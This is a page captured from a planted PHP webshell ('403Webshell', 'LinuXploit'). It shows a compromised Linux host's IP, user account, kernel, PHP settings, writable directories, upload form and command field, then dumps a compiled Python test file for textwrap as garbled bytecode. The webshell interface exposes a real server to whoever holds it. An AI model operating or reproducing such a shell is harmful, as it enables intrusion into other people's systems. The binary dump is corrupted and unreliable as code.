403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.217.130
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_textwrap.cpython-36.opt-2.pyc
3

�
�^���@s�ddlZddlmZmZmZmZmZmZGdd�dej�Z	Gdd�de	�Z
Gdd�de	�ZGd	d
�d
e	�ZGdd�de	�Z
Gd
d�dej�ZGdd�dej�ZGdd�de	�Zedkr�ej�dS)�N)�TextWrapper�wrap�fill�dedent�indent�shortenc@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�BaseTestCasecCsht|t�rNg}x*tt|��D]}|jd|||f�qW|rHdj|�nd}nt|t�rddt|�}|S)Nz  %d: %r�
z
  no linesz  %s
)�
isinstance�list�range�len�append�join�str�repr)�selfZtextin�result�i�r�2/opt/alt/python36/lib64/python3.6/test_textwrap.py�shows

zBaseTestCase.showcCs&|j||d|j|�|j|�f�dS)Nzexpected:
%s
but got:
%s)�assertEqualr)rr�expectrrr�checkszBaseTestCase.checkcKst||f|�}|j||�dS)N)rr)r�text�widthr�kwargsrrrr�
check_wrap#szBaseTestCase.check_wrapcCs&|jj|�}|j||d||f�dS)Nz
expected %r
but got  %r)�wrapper�_splitr)rrrrrrr�check_split'szBaseTestCase.check_splitN)�__name__�
__module__�__qualname__rrrr!rrrrrsrc@s�eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd1d2�Zd3d4�Zd5d6�Zd7d8�Zd9d:�Zd;d<�Z d=S)>�WrapTestCasecCstdd�|_dS)N�-)r)rr)rrrr�setUp0szWrapTestCase.setUpc	CsDd}|j|dddddddg�|j|d	d
dg�|j|d|g�dS)
Nz=Hello there, how are you this fine day?  I'm glad to hear it!�zHello there,zhow are youz	this finez	day?  I'mzglad to hearzit!�*z'Hello there, how are you this fine day?zI'm glad to hear it!�P)r)rrrrr�test_simple3szWrapTestCase.test_simplecCs$|jddg�|jddgdd�dS)N��F)�drop_whitespace)r)rrrr�test_empty_stringDszWrapTestCase.test_empty_stringcCs*|jddgdd�|jddgddd�dS)Nr,r-z++)�initial_indentF)r0r.)r)rrrr�%test_empty_string_with_initial_indentIsz2WrapTestCase.test_empty_string_with_initial_indentcCs�d}dddddg}tddd	�}|j|�}|j||�|j|�}|j|d
j|��d}dg}|j|d
|�d}dg}|j|d
|dd�dS)Nz�This is a paragraph that already has
line breaks.  But some of its lines are much longer than the others,
so it needs to be wrapped.
Some lines are 	tabbed too.
What a mess!
z)This is a paragraph that already has linez'breaks.  But some of its lines are muchz)longer than the others, so it needs to bez-wrapped.  Some lines are  tabbed too.  What azmess!r&T)�fix_sentence_endingsr	z	Test	default		tabsize.z(        Test    default         tabsize.r*z	Test	custom		tabsize.z     Test    custom      tabsize.�)�tabsize)rrrrrr)rrrrrrrr�test_whitespaceNs"	

zWrapTestCase.test_whitespacecCs�tddd�}d}dg}|j|j|�|�d}dg}|j|j|�|�d}|j|j|�|�d	}d
g}|j|j|�|�d|_dd
dg}|j|j|�|�d}dddg}|j|j|�|�d|_dg}|j|j|�|�d}dg}|j|j|�|�dS)N�<T)r2z$A short line. Note the single space.z%A short line.  Note the single space.z Well, Doctor? What do you think?z!Well, Doctor?  What do you think?z Well, Doctor?
What do you think?z)I say, chaps! Anyone for "tennis?"
Hmmph!z+I say, chaps!  Anyone for "tennis?"  Hmmph!�z
I say, chaps!zAnyone for "tennis?"zHmmph!z1And she said, "Go to hell!"
Can you believe that?zAnd she said, "Go tozhell!"  Can youz
believe that?z2And she said, "Go to hell!"  Can you believe that?zFile stdio.h is nice.)rrrr)rrrrrrr�test_fix_sentence_endingsns4
z&WrapTestCase.test_fix_sentence_endingscCs*d}|j|dddg�|j|ddg�dS)NzThis is a
short paragraph.r7zThis is a shortz
paragraph.�(zThis is a short paragraph.)r)rrrrr�test_wrap_short�s
zWrapTestCase.test_wrap_shortcCs,d}|j|ddg�|j|ddgdd�dS)NzThis is a short line.�z(1) This is a short line.z(1) )r0)r)rrrrr�test_wrap_short_1line�sz"WrapTestCase.test_wrap_short_1linecCs�d}|j|dddg�|j|dddg�|j|dddg�d	jd
�}|j|d|dd
�|j||�|jddg�|jddg�|jddjd
��dS)NzBthis-is-a-useful-feature-for-reformatting-posts-from-tim-peters'lyr9zthis-is-a-useful-feature-for-z%reformatting-posts-from-tim-peters'ly�)r)z*this-is-a-useful-feature-for-reformatting-zposts-from-tim-peters'lyzLthis-|is-|a-|useful-|feature-|for-|reformatting-|posts-|from-|tim-|peters'ly�|�F)�break_long_wordsze-mailzJelly-Ozhalf-a-crownzhalf-|a-|crown)r�splitr!)rrrrrr�test_hyphenated�s"zWrapTestCase.test_hyphenatedcCs�d}|j|ddddg�|j|dddg�|j|d	|j�d
d�d}|j|d
ddg�|j|dddg�|j|ddg�|j|d	|j�d
d�dS)NzRPython 1.0.0 was released on 1994-01-26.  Python 1.0.1 was
released on 1994-02-15.r;zPython 1.0.0 was released onz1994-01-26.  Python 1.0.1 waszreleased on 1994-02-15.r9z(Python 1.0.0 was released on 1994-01-26.z(Python 1.0.1 was released on 1994-02-15.r?F)r@zI do all my shopping at 7-11.�zI do all my shopping atz7-11.��)rrA)rrrrr�test_hyphenated_numbers�s



z$WrapTestCase.test_hyphenated_numberscCsZd}|j|dddg�|j|dddg�dd	g}|j|d
|�|j|d|�|j|ddg�d
}dddg}|j|d|�|j|d|�dddg}|j|d|�|j|d|�ddg}|j|d|�|j|d|�ddg}|j|d|�|j|d|�d}ddddd dd!d"dd#d d$dd%d&d#dd'g}|j||�d(}d#dd)d d*d d+dd,dd-g}|j||�dS).Nz$Em-dashes should be written -- thus.rCzEm-dashes should bezwritten -- thus.rEzEm-dashes should be writtenz-- thus.zEm-dashes should be written --zthus.r;�#�$z%You can also do--this or even---this.zYou can also doz--this or evenz---this.��zYou can also do--zthis or even---zthis.��zYou can also do--this or even�z You can also do--this or even---� z7Here's an -- em-dash and--here's another---and another!zHere's� Zanz--zem-Zdash�andzhere'sZanotherz---zanother!zand then--bam!--he was goneZthenzbam!�heZwasZgone)rr!)rrrrrr�test_em_dash�sR
zWrapTestCase.test_em_dashcCs�d}|j|dddddg�|j|ddd	d
g�ddg}|j|d
|�|j|d|�|j|d|�|j|d|�ddg}|j|d|�|j|d|�dd
g}|j|d|�d}ddddddddddddddg}|j||�dS) Nz<You should use the -n option, or --dry-run in its long form.r7zYou should use thez-n option, or --dry-zrun in its longzform.�zYou should use the -nzoption, or --dry-runzin its long form.z You should use the -n option, orz--dry-run in its long form.rN�"rG�&z'You should use the -n option, or --dry-zrun in its long form.�'r=z*You should use the -n option, or --dry-runr)z'the -n option, or --dry-run or --dryrun�therOz-nzoption,�orz--dry-Zrunz--dryrun)rr!)rrrrrr�test_unix_optionss6zWrapTestCase.test_unix_optionscCs�|jddddddg�|jddddg�|jd	ddd
g�|jddg�|jddg�|jd
ddg�|jdddddddg�dS)Nzwhat the--hey!ZwhatrOrWz--zhey!z
what the--zthe--zwhat the--.zthe--.z	--text--.z--optionz--option-optz	--option-�optzfoo --option-opt bar�foo�bar)r!)rrrr�test_funky_hyphens3szWrapTestCase.test_funky_hyphenscCsv|jdddddddg�|jddddd	ddg�|jd
ddddddg�|jd
ddddddg�|jddjd��dS)Nzthe 'wibble-wobble' widgetrWrOz'wibble-zwobble'Zwidgetzthe "wibble-wobble" widgetz"wibble-zwobble"zthe (wibble-wobble) widgetz(wibble-zwobble)zthe ['wibble-wobble'] widgetz	['wibble-zwobble']zwhat-d'you-call-it.zwhat-d'you-|call-|it.r>)r!rA)rrrr�test_punct_hyphensDszWrapTestCase.test_punct_hyphensc	CsJ|jddddddg�|jddddddg�|jd	d
dddddd
g�dS)Nzfoo (--option) barr[rOz
(--option)r\z
foo (bar) bazz(bar)Zbazzblah (ding dong), wubbaZblahz(dingzdong),Zwubba)r!)rrrr�test_funky_parensYs
zWrapTestCase.test_funky_parensc	Cs&d}|j|dddddddgd	d
�dS)Nz0 This is a    sentence with     much whitespace.�
z
 This is az    z	sentence z	with     z
much whitezspace.F)r.)r)rrrrr�test_drop_whitespace_falsefs
z'WrapTestCase.test_drop_whitespace_falsecCs|jdddgdd�dS)Nz   r-F)r.)r)rrrr�*test_drop_whitespace_false_whitespace_onlyosz7WrapTestCase.test_drop_whitespace_false_whitespace_onlycCs|jdddgddd�dS)Nz   r-z     Fz  )r.r0)r)rrrr�6test_drop_whitespace_false_whitespace_only_with_indentsszCWrapTestCase.test_drop_whitespace_false_whitespace_only_with_indentcCs|jddg�dS)Nz  r-)r)rrrr�$test_drop_whitespace_whitespace_onlyysz1WrapTestCase.test_drop_whitespace_whitespace_onlycCs*d}|j|ddg�|j|dddg�dS)Nz, This is a sentence with leading whitespace.�2r;z This is a sentence withzleading whitespace.)r)rrrrr�'test_drop_whitespace_leading_whitespace}s
z4WrapTestCase.test_drop_whitespace_leading_whitespacecCs2d}|j|ddddgdd�|j|dddg�dS)Nzabcd    efghr-Zabcdz    ZefghF)r.)r)rrrrr�$test_drop_whitespace_whitespace_line�sz1WrapTestCase.test_drop_whitespace_whitespace_linecCs|jddgdd�dS)Nz  r-z++)r0)r)rrrr�0test_drop_whitespace_whitespace_only_with_indent�sz=WrapTestCase.test_drop_whitespace_whitespace_only_with_indentcCs|jddddgddd�dS)Nz	abcd efghr-z  abcdz  efghz  )r0�subsequent_indent)r)rrrr�&test_drop_whitespace_whitespace_indent�sz3WrapTestCase.test_drop_whitespace_whitespace_indentcCsDd}|jj|�}|j|dddddddddddd	dd
ddddg�dS)
Nz0Hello there -- you goof-ball, use the -b option!�HellorOZtherez--Zyouzgoof-zball,ZuserWz-bzoption!)rr r)rrrrrr�
test_split�s
zWrapTestCase.test_splitcCs4d}|j|dddgdd�|j|dddgd	d�dS)
Nz
yaba daba-door`z
yaba daba-ZdooT)�break_on_hyphensZyabazdaba-dooF)r)rrrrr�test_break_on_hyphens�s
z"WrapTestCase.test_break_on_hyphenscCs(d}|jtt|d�|jtt|d�dS)NzWhatever, it doesn't matter.rr?���)�assertRaises�
ValueErrorr)rrrrr�test_bad_width�szWrapTestCase.test_bad_widthcCsd}|j|ddddg�dS)NuDie Empfänger-Auswahl�
ZDieuEmpfänger-ZAuswahl)r)rrrrr�test_no_split_at_umlaut�sz$WrapTestCase.test_no_split_at_umlautcCsd}|j|dddg�dS)Nuaa ää-ää�uaa ää-uää)r)rrrrr�test_umlaut_followed_by_dash�sz)WrapTestCase.test_umlaut_followed_by_dashcCs8d}|j|ddddgdd�|j|dddd	gd
d�dS)Nu,This is a sentence with non-breaking space.r7zThis is a sentencez	with non-ubreaking space.T)rm�withunon-breaking space.F)r)rrrrr�test_non_breaking_space�sz$WrapTestCase.test_non_breaking_spacecCs8d}|j|ddddgdd�|j|dddd	gd
d�dS)Nu-This is a sentence with non-breaking space.r7zThis is a sentencez	with non-ubreaking space.T)rmrwunon-breaking space.F)r)rrrrr�test_narrow_non_breaking_space�sz+WrapTestCase.test_narrow_non_breaking_spaceN)!r"r#r$r'r+r/r1r5r8r:r<rBrFrRrYr]r^r_rarbrcrdrfrgrhrjrlrnrrrtrvrxryrrrrr%.s< *

7"
		r%c@s(eZdZdZdd�Zdd�Zdd�ZdS)	�MaxLinesTestCasez=Hello there, how are you this fine day?  I'm glad to hear it!c	Cs�|j|jddgdd�|j|jddgdd�|j|jdddgdd�|j|jd	dd
gdd�|j|jd|jgdd�|j|jdddd
dddgdd�dS)Nr(zHello [...]r)�	max_linesr?zHello there,z	how [...]�rsz
how are [...]r*zhow are youz	this finez	day?  I'mzglad to hearzit!r-)rr)rrrrr+�s.




zMaxLinesTestCase.test_simplec	Cs\|j|jdddddgdd�|j|jdd	d
gdd�|j|jddddddddgdd�dS)Nr(zHello there,zhow are youz	this finez
day? [...]r3)r{r-rkz[...]r|rOr`z	day?  I'mzglad to hearzit!z
          )rr)rrrr�test_spaces�s$

zMaxLinesTestCase.test_spacescCs�|j|jddgddd�|j|jdddgddd�|jt��t|jd	d
ddd�WdQRX|jt��t|jd	d
ddd
�WdQRX|j|jd	ddgdd
ddd�|j|jd	dgddd
dd�|j|jd|jgddd�dS)Nr(zHello...r?z...)r{�placeholderzHello there,z
how are...r|rJz    z [truncated]...)r0r{r~)rir{r~z    Hello there,z  [truncated]...z  )r{r0rir~r*�.i�)r~)rrrprqr)rrrr�test_placeholders:





z!MaxLinesTestCase.test_placeholderN)r"r#r$rr+r}r�rrrrrz�srzc@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�LongWordTestCasecCst�|_d|_dS)Nz]Did you say "supercalifragilisticexpialidocious?"
How *do* you spell that odd word, anyways?
)rrr)rrrrr'4szLongWordTestCase.setUpcCsp|j|jdddddg�|j|jdddg�|jdd
dd
ddddgdd�|j|jddddddddddg	�dS) Nr;zDid you say "supercalifragiliszticexpialidocious?" How *do*zyou spell that odd word,zanyways?rez1Did you say "supercalifragilisticexpialidocious?"z*How *do* you spell that odd word, anyways?�-r`Zhelloz
----------z               hz               ez               lz               orOrI)rir(zDid you say z"supercalifr�agilisticexpzialidocious?z
" How *do*z	you spellzthat oddzword,z
----------z----------helloz               )rr)rrrr�test_break_long;s4


z LongWordTestCase.test_break_longcCsVd|j_d|j_ddddg}|jj|j�}|j||�t|jddd�}|j||�dS)Nrr;zDid you sayz%"supercalifragilisticexpialidocious?"zHow *do* you spell that oddzword, anyways?)rr@)rr@rrrr)rrrrrr�test_nobreak_long_sz"LongWordTestCase.test_nobreak_longcCs |j|jdddddgdd�dS)Nr(zDid you say z"supercalifrr�z[...]r3)r{)rr)rrrr�test_max_lines_longos
z$LongWordTestCase.test_max_lines_longN)r"r#r$r'r�r�r�rrrrr�3s$r�c@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�IndentTestCasescCs
d|_dS)NznThis paragraph will be filled, first without any indentation,
and then with some (including a hanging indent).)r)rrrrr'{szIndentTestCases.setUpcCs d}t|jd�}|j||�dS)NznThis paragraph will be filled, first
without any indentation, and then with
some (including a hanging indent).r9)rrr)rrrrrr�	test_fill�szIndentTestCases.test_fillcCsPdddg}t|jddd�}|j||�dj|�}t|jddd�}|j||�dS)Nz#     This paragraph will be filled,z'first without any indentation, and thenz'with some (including a hanging indent).r9z     )r0r	)rrrrr)rrrrrr�test_initial_indent�s
z#IndentTestCases.test_initial_indentcCs&d}t|jdddd�}|j||�dS)Nz~  * This paragraph will be filled, first
    without any indentation, and then
    with some (including a hanging
    indent).r9z  * z    )r0ri)rrr)rrrrrr�test_subsequent_indent�s
z&IndentTestCases.test_subsequent_indentN)r"r#r$r'r�r�r�rrrrr�xsr�c@s<eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)�DedentTestCasecCs|j|t|��dS)N)rr)rrrrr�assertUnchanged�szDedentTestCase.assertUnchangedcCs<d}|j|�d}|j|�d}|j|�d}|j|�dS)Nz,Hello there.
How are you?
Oh good, I'm glad.zHello there.

Boo!z Hello there.
  This is indented.zHello there.

  Boo!
)r�)rrrrr�test_dedent_nomargin�s


z#DedentTestCase.test_dedent_nomargincCsLd}d}|j|t|��d}d}|j|t|��d}d}|j|t|��dS)Nz'  Hello there.
  How are ya?
  Oh good.z!Hello there.
How are ya?
Oh good.z)  Hello there.

  How are ya?
  Oh good.
z#Hello there.

How are ya?
Oh good.
z+  Hello there.
  
  How are ya?
  Oh good.
)rr)rrrrrr�test_dedent_even�szDedentTestCase.test_dedent_evencCsLd}d}|j|t|��d}d}|j|t|��d}d}|j|t|��dS)NzK        def foo():
            while 1:
                return foo
        z+def foo():
    while 1:
        return foo
z  Foo
    Bar

   Baz
zFoo
  Bar

 Baz
z  Foo
    Bar
 
   Baz
)rr)rrrrrr�test_dedent_uneven�sz!DedentTestCase.test_dedent_unevencCs,d}d}|j|t|��|j|t|��dS)Nz  hello	there
  how are	you?zhello	there
how are	you?)rr)rrrrrr�"test_dedent_preserve_internal_tabs�sz1DedentTestCase.test_dedent_preserve_internal_tabscCs�d}|j|�d}|j|�d}d}|j|t|��d}|j|t|��d}|j|t|��d}d}|j|t|��d	}d
}|j|t|��dS)Nz  hello there
	how are you?z!        hello there
	how are you?z	hello there
	how are you?zhello there
how are you?z  	hello there
  	how are you?z"  	  hello there
  	  how are you?z   	hello there
  	  how are you?zhello there
  how are you?z2  	hello there
   	how are you?
 	I'm fine, thanksz/ 	hello there
  	how are you?
	I'm fine, thanks)r�rr)rrrrrr� test_dedent_preserve_margin_tabs�s"

z/DedentTestCase.test_dedent_preserve_margin_tabsN)	r"r#r$r�r�r�r�r�r�rrrrr��sr�c@speZdZdZedZdd�Zdd	�Zd
d�Zdd
�Zdd�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�ZdS)�IndentTestCase�Hi.
This is a test.
Testing.�Hi.
This is a test.

Testing.�
Hi.
This is a test.
Testing.
� Hi.
This is a test.
Testing.
�#
Hi.
This is a test.

Testing.

cCs&x |jD]}|jt|d�|�qWdS)Nr,)�CASESrr)rrrrr�test_indent_nomargin_default)sz+IndentTestCase.test_indent_nomargin_defaultcCs(x"|jD]}|jt|dd�|�qWdS)Nr,)r�rr)rrrrr�%test_indent_nomargin_explicit_default.sz4IndentTestCase.test_indent_nomargin_explicit_defaultcCs0dd�}x"|jD]}|jt|d|�|�qWdS)NcSsdS)NTr)�linerrr�<lambda>7sz?IndentTestCase.test_indent_nomargin_all_lines.<locals>.<lambda>r,)r�rr)r�	predicaterrrr�test_indent_nomargin_all_lines4sz-IndentTestCase.test_indent_nomargin_all_linescCs0dd�}x"|jD]}|jt|d|�|�qWdS)NcSsdS)NFr)r�rrrr�=sz5IndentTestCase.test_indent_no_lines.<locals>.<lambda>z    )r�rr)rr�rrrr�test_indent_no_lines;sz#IndentTestCase.test_indent_no_linescCs*x$|jD]}|jtt|d��|�qWdS)Nz    )�ROUNDTRIP_CASESrrr)rrrrr�test_roundtrip_spacesAsz$IndentTestCase.test_roundtrip_spacescCs*x$|jD]}|jtt|d��|�qWdS)Nz		)r�rrr)rrrrr�test_roundtrip_tabsFsz"IndentTestCase.test_roundtrip_tabscCs*x$|jD]}|jtt|d��|�qWdS)Nz 	  	 )r�rrr)rrrrr�test_roundtrip_mixedKsz#IndentTestCase.test_roundtrip_mixedcCs8d}d}x*t|j|�D]\}}|jt||�|�qWdS)Nz  �"  Hi.
  This is a test.
  Testing.�#  Hi.
  This is a test.

  Testing.�$
  Hi.
  This is a test.
  Testing.
�&  Hi.
  This is a test.
  Testing.
�)
  Hi.
  This is a test.

  Testing.

)r�r�r�r�r�)�zipr�rr)r�prefix�expectedrrrrr�test_indent_defaultPsz"IndentTestCase.test_indent_defaultcCs:d}d}x,t|j|�D]\}}|jt||d�|�qWdS)Nz  �"  Hi.
  This is a test.
  Testing.�#  Hi.
  This is a test.

  Testing.�$
  Hi.
  This is a test.
  Testing.
�&  Hi.
  This is a test.
  Testing.
�)
  Hi.
  This is a test.

  Testing.

)r�r�r�r�r�)r�r�rr)rr�r�rrrrr�test_indent_explicit_defaultbsz+IndentTestCase.test_indent_explicit_defaultcCsBd}d	}dd�}x,t|j|�D]\}}|jt|||�|�qWdS)
Nz  �"  Hi.
  This is a test.
  Testing.�%  Hi.
  This is a test.
  
  Testing.�&  
  Hi.
  This is a test.
  Testing.
�&  Hi.
  This is a test.
  Testing.
�/  
  Hi.
  This is a test.
  
  Testing.
  
cSsdS)NTr)r�rrrr��sz6IndentTestCase.test_indent_all_lines.<locals>.<lambda>)r�r�r�r�r�)r�r�rr)rr�r�r�rrrrr�test_indent_all_linestsz$IndentTestCase.test_indent_all_linescCsBd}d	}dd�}x,t|j|�D]\}}|jt|||�|�qWdS)
Nz  �Hi.
This is a test.
Testing.�Hi.
This is a test.
  
Testing.�   
Hi.
This is a test.
Testing.
� Hi.
This is a test.
Testing.
�)  
Hi.
This is a test.
  
Testing.
  
cSs
|j�S)N)�strip)r�rrrr��sz8IndentTestCase.test_indent_empty_lines.<locals>.<lambda>)r�r�r�r�r�)r�r�rr)rr�r�r�rrrrr�test_indent_empty_lines�sz&IndentTestCase.test_indent_empty_linesN)r�r�r�)r�r�)r"r#r$r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrr�s"r�c@sDeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dS)�ShortenTestCasecKst||f|�}|j||�dS)N)rr)rrrrrrrrr�
check_shorten�szShortenTestCase.check_shortencCs>d}|j|dd�|j|t|�|�|j|t|�dd�dS)Nz<Hello there, how are you this fine day? I'm glad to hear it!�zHello there, [...]r?z9Hello there, how are you this fine day? I'm glad to [...])r�r
)rrrrrr+�s
zShortenTestCase.test_simplecCsnd}|j|dddd�|j|dddd�|j|ddd	d�|j|t|�|dd�|j|t|�d
ddd�dS)Nz<Hello there, how are you this fine day? I'm glad to hear it!rKzHello there,$$z$$)r~r�zHello there, how$$zHello there, $$z $$r?z:Hello there, how are you this fine day? I'm glad to hear$$)r�r
)rrrrrr��sz ShortenTestCase.test_placeholdercCs|jddd�dS)Nr,r-)r�)rrrrr/�sz!ShortenTestCase.test_empty_stringcCsNd}|j|dd�|j|dd�|jddd�|jdd	d
�|jddd�dS)
Nz[
            This is a  paragraph that  already has
            line breaks and 	 tabs too.�>z>This is a paragraph that already has line breaks and tabs too.�=z:This is a paragraph that already has line breaks and [...]zhello      world!  r(zhello world!�zhello [...]r`z[...])r�)rrrrrr5�szShortenTestCase.test_whitespacecCs6tdddd�|jt��tdddd�WdQRXdS)	N�xr7�z(......))rr~z	(.......)�xxxxxxxxxxxxxxxxxxxxr�)rrprq)rrrr�$test_width_too_small_for_placeholder�sz4ShortenTestCase.test_width_too_small_for_placeholdercCs|jddd�dS)NZHelloo�z[...])r�)rrrr�-test_first_word_too_long_but_placeholder_fits�sz=ShortenTestCase.test_first_word_too_long_but_placeholder_fitsN)
r"r#r$r�r+r�r/r5r�r�rrrrr��s
r��__main__)Zunittest�textwraprrrrrrZTestCaserr%rzr�r�r�r�r�r"�mainrrrr�<module>s 4TE3j9

Youez - 2016 - github.com/yon3zu
LinuXploit